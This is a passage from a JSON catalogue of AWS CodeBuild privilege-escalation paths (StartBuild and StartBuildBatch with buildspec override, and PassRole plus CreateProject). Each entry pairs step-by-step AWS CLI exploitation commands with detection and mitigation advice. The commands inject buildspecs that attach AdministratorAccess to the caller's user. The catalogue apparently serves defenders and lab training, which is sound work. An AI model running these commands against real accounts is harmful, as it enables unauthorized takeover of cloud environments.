    "description": "A principal with `codebuild:StartBuild` can exploit an existing CodeBuild project that has a privileged service role by using the `--buildspec-override` parameter to execute arbitrary commands with elevated permissions. Unlike the PassRole+CreateProject attack, this path does NOT require `iam:PassRole` or `codebuild:CreateProject` permissions. The attacker can replace the project's buildspec with malicious commands that execute with the project's service role permissions, potentially achieving administrative access if the role is sufficiently privileged.",
    "prerequisites": {
      "admin": [
        "A CodeBuild project must already exist in the account",
        "The existing project must have a service role with administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "The project must allow buildspec overrides (default behavior unless explicitly disabled)"
      ],
      "lateral": [
        "A CodeBuild project must already exist in the account",
        "The existing project must have a service role with any level of permissions",
        "The project must allow buildspec overrides (default behavior unless explicitly disabled)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws codebuild list-projects --region us-east-1",
          "description": "Discover existing CodeBuild projects in the account (optional but helpful for reconnaissance)"
        },
        {
          "step": 2,
          "command": "aws codebuild batch-get-projects --names EXISTING_PROJECT_NAME --region us-east-1",
          "description": "Inspect the project details to identify the service role ARN and verify it has elevated permissions (optional but helpful)"
        },
        {
          "step": 3,
          "command": "aws codebuild start-build \\\n  --project-name EXISTING_PROJECT_NAME \\\n  --region us-east-1 \\\n  --buildspec-override \"version: 0.2\nphases:\n  build:\n    commands:\n      - echo 'Starting privilege escalation...'\n      - aws iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n      - echo 'Successfully attached AdministratorAccess policy'\"\n",
          "description": "Start a build with a malicious buildspec that executes with the project's privileged service role. This example attaches AdministratorAccess to your user account."
        },
        {
          "step": 4,
          "command": "aws codebuild batch-get-builds --ids BUILD_ID --region us-east-1",
          "description": "Monitor the build status to confirm it completed successfully"
        },
        {
          "step": 5,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify administrative access was successfully obtained (wait 15-30 seconds for IAM propagation)"
        }
      ]
    },
    "limitations": "This path provides administrative access only if the existing CodeBuild project's service role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If the project only has limited permissions, you gain access limited to those permissions. However, even limited access may enable multi-hop privilege escalation attacks.\n",
    "recommendation": "Restrict `codebuild:StartBuild` permission using resource-based constraints:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"codebuild:StartBuild\",\n  \"Resource\": \"arn:aws:codebuild:*:ACCOUNT_ID:project/specific-safe-project\"\n}\n```\n\nAdditional security controls:\n- **Least Privilege Service Roles**: Ensure CodeBuild service roles follow least privilege principles and cannot modify IAM permissions\n- **Disable Buildspec Override**: For projects with privileged roles, disable buildspec overrides in the project configuration\n- **CloudTrail Monitoring**: Alert on `StartBuild` API calls with buildspec overrides, especially on projects with privileged roles\n- **Monitor IAM Changes**: Alert on `AttachUserPolicy`, `PutUserPolicy`, `AttachRolePolicy`, and `PutRolePolicy` calls originating from CodeBuild service principals\n- **Service Control Policies**: Implement SCPs to prevent CodeBuild service roles from modifying IAM policies\n- **IAM Access Analyzer**: Use AWS IAM Access Analyzer to identify privilege escalation paths involving CodeBuild projects\n- **Regular Audits**: Review CodeBuild projects to identify those with privileged service roles and restrict access accordingly\n- **Separation of Concerns**: Avoid attaching administrative roles to CodeBuild projects; use least-privilege roles specific to build requirements\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2019,
        "link": "https://github.com/nccgroup/PMapper"
      },
      "derivativeOf": {
        "pathId": "codebuild-001",
        "modification": "This variation uses buildspec-override on existing CodeBuild project instead of creating a new project with PassRole"
      }
    },
    "references": [
      {
        "title": "HackTricks - AWS - Codebuild Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/index.html#codebuildstartbuild--codebuildstartbuildbatch"
      }
    ],
    "relatedPaths": [
      "codebuild-001",
      "iam-001",
      "iam-002"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/codebuild_edges.py#L165-L173",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L214"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/codebuild-startbuild",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "toolSupport": {
      "pmapper": false,
      "iamVulnerable": false,
      "pacu": false,
      "prowler": false
    },
    "permissions": {
      "required": [
        {
          "permission": "codebuild:StartBuild",
          "resourceConstraints": "Must have permission to start builds on the target CodeBuild project"
        }
      ],
      "additional": [
        {
          "permission": "codebuild:ListProjects",
          "resourceConstraints": "Helpful for discovering existing CodeBuild projects with privileged roles"
        },
        {
          "permission": "codebuild:BatchGetProjects",
          "resourceConstraints": "Useful for viewing project details including service role ARN and permissions"
        },
        {
          "permission": "codebuild:BatchGetBuilds",
          "resourceConstraints": "Helpful for monitoring build execution status and verifying successful exploitation"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `codebuild:StartBuild` permission. This principal can trigger builds on existing CodeBuild projects and override the buildspec with malicious code. Unlike the PassRole+CreateProject attack, this path does NOT require `iam:PassRole` or `codebuild:CreateProject` permissions.\n"
        },
        {
          "id": "codebuild_project",
          "label": "Existing CodeBuild Project",
          "type": "resource",
          "description": "An existing CodeBuild project with a privileged service role. The project must allow buildspec overrides (default behavior unless explicitly disabled). When a build is started with `--buildspec-override`, the project executes the attacker's malicious buildspec commands with the permissions of the project's service role.\n"
        },
        {
          "id": "service_role",
          "label": "CodeBuild Service Role",
          "type": "principal",
          "description": "The IAM role attached to the CodeBuild project as its service role. When the build executes, CodeBuild automatically assumes this role and makes its credentials available to the build environment. The build commands execute with all permissions granted to this service role. This role must trust codebuild.amazonaws.com in its trust policy.\n"
        },
        {
          "id": "execute_buildspec",
          "label": "Execute malicious buildspec",
          "type": "payload",
          "color": "#99ccff",
          "description": "The CodeBuild project executes the attacker's malicious buildspec commands during the build phase. The buildspec can contain arbitrary shell commands that execute with the project's service role permissions. Common privilege escalation techniques include attaching administrator policies to the starting principal, creating new access keys, or modifying IAM policies.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the CodeBuild project's service role has administrative permissions (AdministratorAccess or equivalent), the attacker gains full administrative access to the AWS account. The malicious buildspec can directly modify IAM to grant the starting principal admin access or exfiltrate admin credentials.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the CodeBuild project's service role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. This could include access to sensitive data stores (S3, RDS, DynamoDB, Secrets Manager), the ability to modify other resources, or permissions that enable additional privilege escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the CodeBuild project's service role only has minimal permissions (e.g., basic ECR/S3 access for build artifacts), the privilege escalation may not yield meaningful additional access. However, the attacker still gains code execution capability which could be useful for reconnaissance or as part of a multi-step attack.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "codebuild_project",
          "label": "codebuild:StartBuild with buildspec-override",
          "description": "The attacker starts a build on the target CodeBuild project using the `--buildspec-override` parameter to inject malicious buildspec content. This replaces the project's configured buildspec for this specific build execution.\n\nCommand:\n```bash\naws codebuild start-build \\\n  --project-name EXISTING_PROJECT_NAME \\\n  --region us-east-1 \\\n  --buildspec-override \"version: 0.2\nphases:\n  build:\n    commands:\n      - echo 'Starting privilege escalation...'\n      - aws iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n      - echo 'Successfully attached AdministratorAccess policy'\"\n```\n\nThe malicious buildspec is now queued for execution with the project's service role permissions.\n"
        },
        {
          "from": "codebuild_project",
          "to": "service_role",
          "label": "Build assumes service role",
          "description": "When the CodeBuild build starts, the CodeBuild service automatically assumes the project's service role. The role's temporary credentials are made available to the build environment through the AWS SDK and CLI, allowing any commands in the buildspec to execute with the service role's permissions.\n"
        },
        {
          "from": "service_role",
          "to": "execute_buildspec",
          "label": "Execute buildspec commands",
          "description": "The build environment executes the commands defined in the malicious buildspec with the service role's credentials. These commands can perform any AWS API calls that the service role has permission to execute, including IAM modifications if the role has sufficient privileges.\n\nThe attacker can monitor build progress:\n```bash\naws codebuild batch-get-builds --ids BUILD_ID --region us-east-1\n```\n\nBuild logs in CloudWatch Logs show command output, including any privilege escalation results.\n"
        },
        {
          "from": "execute_buildspec",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the CodeBuild project's service role has AdministratorAccess or equivalent administrative permissions, the malicious buildspec commands can grant the starting principal full administrative access. Common techniques include attaching the AdministratorAccess policy, creating admin access keys, or adding the principal to an admin group.\n"
        },
        {
          "from": "execute_buildspec",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the CodeBuild project's service role has elevated but non-administrative permissions, the attacker gains partial privilege escalation. The buildspec should be tailored to the available permissions - for example, exfiltrating secrets from Secrets Manager, accessing S3 data, or pursuing additional privilege escalation paths if IAM read permissions exist.\n"
        },
        {
          "from": "execute_buildspec",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the CodeBuild project's service role only has minimal permissions (typically just ECR pull, S3 artifact access, and CloudWatch Logs), the privilege escalation may not provide meaningful additional access. However, code execution capability and build environment access could still be useful for reconnaissance.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-30T01:31:23Z",
      "lastUpdated": "2026-02-13T11:28:37Z",
      "contributors": [
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/codebuild/codebuild-002.yaml"
  },
  {
    "id": "codebuild-003",
    "name": "codebuild:StartBuildBatch",
    "category": "existing-passrole",
    "services": [
      "codebuild",
      "iam"
    ],
    "description": "A principal with `codebuild:StartBuildBatch` can exploit an existing CodeBuild project that has a privileged service role by using the `--buildspec-override` parameter to execute arbitrary commands with elevated permissions. Similar to `codebuild:StartBuild`, this permission allows injecting malicious buildspecs without requiring `iam:PassRole` or `codebuild:CreateProject` permissions. The attacker can leverage batch build capabilities to execute commands with the project's service role permissions, potentially achieving administrative access if the role is sufficiently privileged.",
    "prerequisites": {
      "admin": [
        "A CodeBuild project must already exist in the account that is configured for batch builds",
        "The existing project must have a service role with administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "The project must allow buildspec overrides (default behavior unless explicitly disabled)"
      ],
      "lateral": [
        "A CodeBuild project must already exist in the account that is configured for batch builds",
        "The existing project must have a service role with any level of permissions",
        "The project must allow buildspec overrides (default behavior unless explicitly disabled)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws codebuild list-projects --region us-east-1",
          "description": "Discover existing CodeBuild projects in the account (optional but helpful for reconnaissance)"
        },
        {
          "step": 2,
          "command": "aws codebuild batch-get-projects --names EXISTING_PROJECT_NAME --region us-east-1",
          "description": "Inspect the project details to identify the service role ARN and verify it has elevated permissions (optional but helpful)"
        },
        {
          "step": 3,
          "command": "cat > /tmp/malicious-buildspec.yml <<'EOF'\nversion: 0.2\nbatch:\n  fast-fail: false\n  build-list:\n    - identifier: privesc_build\n      buildspec: |\n        version: 0.2\n        phases:\n          build:\n            commands:\n              - echo \"Starting privilege escalation...\"\n              - aws iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n              - echo \"Successfully attached AdministratorAccess policy\"\nEOF\n",
          "description": "Create a malicious buildspec file with batch build format that attaches AdministratorAccess to your user account"
        },
        {
          "step": 4,
          "command": "aws codebuild start-build-batch \\\n  --project-name EXISTING_PROJECT_NAME \\\n  --region us-east-1 \\\n  --buildspec-override file:///tmp/malicious-buildspec.yml\n",
          "description": "Start a build batch with the malicious buildspec override. The buildspec executes with the project's privileged service role permissions."
        },
        {
          "step": 5,
          "command": "aws codebuild batch-get-build-batches --ids BUILD_BATCH_ID --region us-east-1",
          "description": "Monitor the build batch status to confirm it completed successfully (batch builds may take 2-4 minutes)"
        },
        {
          "step": 6,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify administrative access was successfully obtained (wait 15-30 seconds for IAM propagation)"
        }
      ]
    },
    "limitations": "This path provides administrative access only if the existing CodeBuild project's service role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If the project only has limited permissions, you gain access limited to those permissions. However, even limited access may enable multi-hop privilege escalation attacks.\n",
    "recommendation": "Restrict `codebuild:StartBuildBatch` permission using resource-based constraints:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"codebuild:StartBuildBatch\",\n  \"Resource\": \"arn:aws:codebuild:*:ACCOUNT_ID:project/specific-safe-project\"\n}\n```\n\nAdditional security controls:\n- **Least Privilege Service Roles**: Ensure CodeBuild service roles follow least privilege principles and cannot modify IAM permissions\n- **Disable Buildspec Override**: For projects with privileged roles, disable buildspec overrides in the project configuration by setting `overrideConfigurationOverride` to prevent buildspec modifications\n- **Require Source Control Buildspecs**: Configure CodeBuild projects to require buildspecs from source control (GitHub, CodeCommit) rather than allowing inline overrides\n- **CloudTrail Monitoring**: Alert on `StartBuildBatch` API calls with `buildspec-override` parameter, especially on projects with privileged roles\n- **Monitor IAM Changes**: Alert on `AttachUserPolicy`, `PutUserPolicy`, `AttachRolePolicy`, and `PutRolePolicy` calls originating from CodeBuild service principals\n- **Service Control Policies**: Implement SCPs to prevent CodeBuild service roles from modifying IAM policies\n- **IAM Access Analyzer**: Use AWS IAM Access Analyzer to identify privilege escalation paths involving CodeBuild batch builds\n- **Regular Audits**: Review CodeBuild projects with batch build capabilities to identify those with privileged service roles and restrict access accordingly\n- **Tag-Based Access Control**: Tag CodeBuild projects with privilege levels and enforce tag-based conditional access policies\n- **Approval Workflows**: Require manual approval for buildspec overrides on sensitive CodeBuild projects with privileged service roles\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2019,
        "link": "https://github.com/nccgroup/PMapper"
      },
      "derivativeOf": {
        "pathId": "codebuild-002",
        "modification": "This variation uses codebuild:StartBuildBatch instead of codebuild:StartBuild to execute batch builds"
      },
      "ultimateOrigin": {
        "pathId": "codebuild-001",
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2019,
        "link": "https://github.com/nccgroup/PMapper"
      }
    },
    "references": [
      {
        "title": "HackTricks - AWS - Codebuild Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/index.html#codebuildstartbuild--codebuildstartbuildbatch"
      }
    ],
    "relatedPaths": [
      "codebuild-001",
      "codebuild-002",
      "iam-001",
      "iam-002"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/codebuild_edges.py#L186",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L216"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/codebuild-startbuildbatch",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "toolSupport": {
      "pmapper": false,
      "iamVulnerable": false,
      "pacu": false,
      "prowler": false
    },
    "permissions": {
      "required": [
        {
          "permission": "codebuild:StartBuildBatch",
          "resourceConstraints": "Must have permission to start build batches on the target CodeBuild project"
        }
      ],
      "additional": [
        {
          "permission": "codebuild:ListProjects",
          "resourceConstraints": "Helpful for discovering existing CodeBuild projects with privileged roles"
        },
        {
          "permission": "codebuild:BatchGetProjects",
          "resourceConstraints": "Useful for viewing project details including service role ARN and permissions"
        },
        {
          "permission": "codebuild:BatchGetBuildBatches",
          "resourceConstraints": "Helpful for monitoring build batch execution status and verifying successful exploitation"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `codebuild:StartBuildBatch` permission on an existing CodeBuild project. Can be an IAM user or role. This principal exploits the existing project's service role by overriding the buildspec with malicious batch build commands.\n"
        },
        {
          "id": "codebuild_project",
          "label": "Existing CodeBuild Project",
          "type": "resource",
          "description": "An existing CodeBuild project configured for batch builds with a service role attached. The project must allow buildspec overrides (default behavior unless explicitly disabled). The attacker leverages this project to execute arbitrary commands with the project's service role permissions.\n"
        },
        {
          "id": "service_role",
          "label": "CodeBuild Service Role",
          "type": "principal",
          "description": "The IAM role attached to the CodeBuild project as its service role. When the batch build executes, CodeBuild automatically assumes this role and makes its credentials available to the build environment. The batch build commands execute with all permissions granted to this service role. This role must trust codebuild.amazonaws.com in its trust policy.\n"
        },
        {
          "id": "batch_build",
          "label": "Execute Malicious Batch Build",
          "type": "payload",
          "color": "#99ccff",
          "description": "The attacker starts a build batch with a malicious buildspec override that contains commands to escalate privileges. The buildspec executes with the CodeBuild project's service role permissions.\n\nCommand:\n```bash\naws codebuild start-build-batch \\\n  --project-name EXISTING_PROJECT_NAME \\\n  --region us-east-1 \\\n  --buildspec-override file:///tmp/malicious-buildspec.yml\n```\n\nThe malicious buildspec typically attaches AdministratorAccess policy to the attacker's user or creates new access keys.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the CodeBuild project's service role has administrative permissions (e.g., AdministratorAccess or equivalent custom policy), the attacker gains full administrative access to the AWS account by executing IAM modification commands within the batch build.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the CodeBuild project's service role has some elevated permissions but not full admin, the attacker gains access limited to those permissions. Check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths that could be chained for further compromise.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the CodeBuild project's service role only has minimal permissions (e.g., CloudWatch Logs write access), there may be no meaningful privilege escalation achieved. The attacker would need to find a different project with a more privileged service role.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "codebuild_project",
          "label": "codebuild:StartBuildBatch with buildspec-override",
          "description": "Execute `codebuild:StartBuildBatch` on the existing CodeBuild project with a malicious buildspec override. The buildspec override replaces the project's original buildspec with attacker-controlled commands that execute in batch build format.\n\nCommand:\n```bash\naws codebuild start-build-batch \\\n  --project-name EXISTING_PROJECT_NAME \\\n  --buildspec-override file:///tmp/malicious-buildspec.yml\n```\n\nThe malicious buildspec uses batch build syntax to execute privilege escalation commands.\n"
        },
        {
          "from": "codebuild_project",
          "to": "service_role",
          "label": "Batch build assumes service role",
          "description": "When the CodeBuild batch build starts, the CodeBuild service automatically assumes the project's service role. This happens without requiring `iam:PassRole` permission from the starting principal. The role's temporary credentials are made available to the build environment through the AWS SDK and CLI.\n"
        },
        {
          "from": "service_role",
          "to": "batch_build",
          "label": "Execute batch build commands",
          "description": "The batch build environment executes the commands defined in the malicious buildspec with the service role's credentials. These commands can perform any AWS API calls that the service role has permission to execute, including IAM modifications if the role has sufficient privileges.\n"
        },
        {
          "from": "batch_build",
          "to": "admin",
          "label": "If service role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the CodeBuild project's service role has AdministratorAccess or equivalent permissions, the malicious buildspec commands can modify IAM policies and principals to grant the attacker full administrative access. Common techniques include attaching AdministratorAccess policy to the attacker's user account or creating new admin access keys.\n"
        },
        {
          "from": "batch_build",
          "to": "some_perms",
          "label": "If service role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the service role has elevated but non-administrative permissions, the attacker gains access to whatever resources the role can access. This could include sensitive data in S3 buckets, RDS databases, DynamoDB tables, or other privilege escalation opportunities that can be chained together.\n"
        },
        {
          "from": "batch_build",
          "to": "no_access",
          "label": "If service role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the service role only has minimal permissions (e.g., CloudWatch Logs write access for build logs), there may be no meaningful privilege escalation. The attacker would need to identify other CodeBuild projects with more privileged service roles using `codebuild:ListProjects` and `codebuild:BatchGetProjects`.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-30T01:31:23Z",
      "lastUpdated": "2026-02-13T11:28:37Z",
      "contributors": [
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        },
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        }
      ]
    },
    "filePath": "data/paths/codebuild/codebuild-003.yaml"
  },
  {
    "id": "codebuild-004",
    "name": "iam:PassRole + codebuild:CreateProject + codebuild:StartBuildBatch",
    "category": "new-passrole",
    "services": [
      "iam",
      "codebuild"
    ],
    "description": "A principal with `iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuildBatch` can create a new CodeBuild project configured for batch builds and attach an existing privileged IAM role to it. By starting a build batch with a malicious buildspec, the attacker can execute arbitrary code with the permissions of the attached role, allowing privilege escalation. This variation specifically leverages batch build capabilities, which require both project creation and batch build execution permissions. The level of access gained depends on the permissions of the available roles.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts codebuild.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts codebuild.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.Service==`codebuild.amazonaws.com`]].RoleName'",
          "description": "Discover roles that trust codebuild.amazonaws.com (optional but helpful for finding privileged roles to pass)"
        },
        {
          "step": 2,
          "command": "aws codebuild create-project --name privesc-batch-project --source \"{\\\"type\\\":\\\"NO_SOURCE\\\",\\\"buildspec\\\":\\\"version: 0.2\\nbatch:\\n  fast-fail: false\\n  build-list:\\n    - identifier: privesc_build\\n      buildspec: |\\n        version: 0.2\\n        phases:\\n          build:\\n            commands:\\n              - echo \\\\\\\"Starting privilege escalation...\\\\\\\"\\n              - aws iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\\n              - echo \\\\\\\"Successfully attached AdministratorAccess!\\\\\\\"\\\"}\" --artifacts type=NO_ARTIFACTS --environment type=LINUX_CONTAINER,image=aws/codebuild/standard:7.0,computeType=BUILD_GENERAL1_SMALL --service-role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE --build-batch-config serviceRole=arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE",
          "description": "Create a CodeBuild project configured for batch builds with the privileged role and malicious buildspec in batch format"
        },
        {
          "step": 3,
          "command": "aws codebuild start-build-batch --project-name privesc-batch-project",
          "description": "Start the build batch to execute code with elevated privileges"
        },
        {
          "step": 4,
          "command": "aws codebuild batch-get-build-batches --ids BUILD_BATCH_ID",
          "description": "Monitor the build batch status and wait for completion (batch builds typically take 2-4 minutes)"
        },
        {
          "step": 5,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify administrative access was successfully obtained (wait 15-30 seconds for IAM propagation)"
        }
      ]
    },
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks.\n",
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a CodeBuild project need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificCodeBuildRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"codebuild.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual CodeBuild project creation followed by immediate batch build execution\n- Monitor CloudTrail for CodeBuild project creation by principals who do not usually create projects\n- Monitor CloudTrail for roles being passed to CodeBuild that haven't been used before\n- Monitor and alert on CodeBuild project creation with privileged roles\n- Regularly audit CodeBuild projects for excessive IAM permissions\n- Regularly audit all IAM roles that trust the CodeBuild service and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2019,
        "link": "https://github.com/nccgroup/PMapper"
      },
      "derivativeOf": {
        "pathId": "codebuild-001",
        "modification": "This variation uses codebuild:StartBuildBatch instead of codebuild:StartBuild to execute batch builds"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "IAM Vulnerable - CodeBuild PassRole",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - Codebuild Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/index.html#codebuildstartbuild--codebuildstartbuildbatch"
      }
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/codebuild_edges.py#L186",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L208",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L200"
    },
    "relatedPaths": [
      "codebuild-001",
      "codebuild-003",
      "ec2-001",
      "lambda-001",
      "cloudformation-001"
    ],
    "toolSupport": {
      "pmapper": false,
      "iamVulnerable": true,
      "pacu": false,
      "prowler": false
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+codebuild-createproject+codebuild-startbuildbatch",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "CodeBuild-CreateProjectPassRole",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section and must trust codebuild.amazonaws.com"
        },
        {
          "permission": "codebuild:CreateProject",
          "resourceConstraints": "Must have permission to create CodeBuild projects"
        },
        {
          "permission": "codebuild:StartBuildBatch",
          "resourceConstraints": "Must have permission to start build batches on the created project"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles that trust CodeBuild to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        },
        {
          "permission": "codebuild:BatchGetBuildBatches",
          "resourceConstraints": "Helpful for monitoring build batch execution status and verifying successful exploitation"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuildBatch` permissions. This principal will create a CodeBuild project configured for batch builds with a privileged role attached and start a build batch to execute code with elevated privileges.\n"
        },
        {
          "id": "codebuild_project",
          "label": "New CodeBuild Project (Batch Build)",
          "type": "resource",
          "description": "The newly created CodeBuild project configured for batch builds with a malicious buildspec. The project is created with `codebuild:CreateProject` and configured to use a privileged IAM role via `iam:PassRole`. The batch buildspec contains commands that will execute when the build batch starts, designed to grant the starting principal administrative access or perform privileged actions. Batch builds allow for more complex build orchestration but provide the same privilege escalation capability as standard builds.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the codebuild Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the CodeBuild project during creation. This role must trust codebuild.amazonaws.com as a principal in its trust policy. When the build batch executes, the CodeBuild environment automatically assumes this role and all buildspec commands run with this role's permissions.\n"
        },
        {
          "id": "execute_buildspec",
          "label": "Execute batch buildspec commands",
          "type": "payload",
          "color": "#99ccff",
          "description": "When the build batch starts, the CodeBuild environment assumes the target role and executes the batch buildspec commands with the role's permissions. The buildspec can perform various privileged actions such as attaching AdministratorAccess to the starting principal, creating new access keys, modifying IAM policies, or accessing sensitive data.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
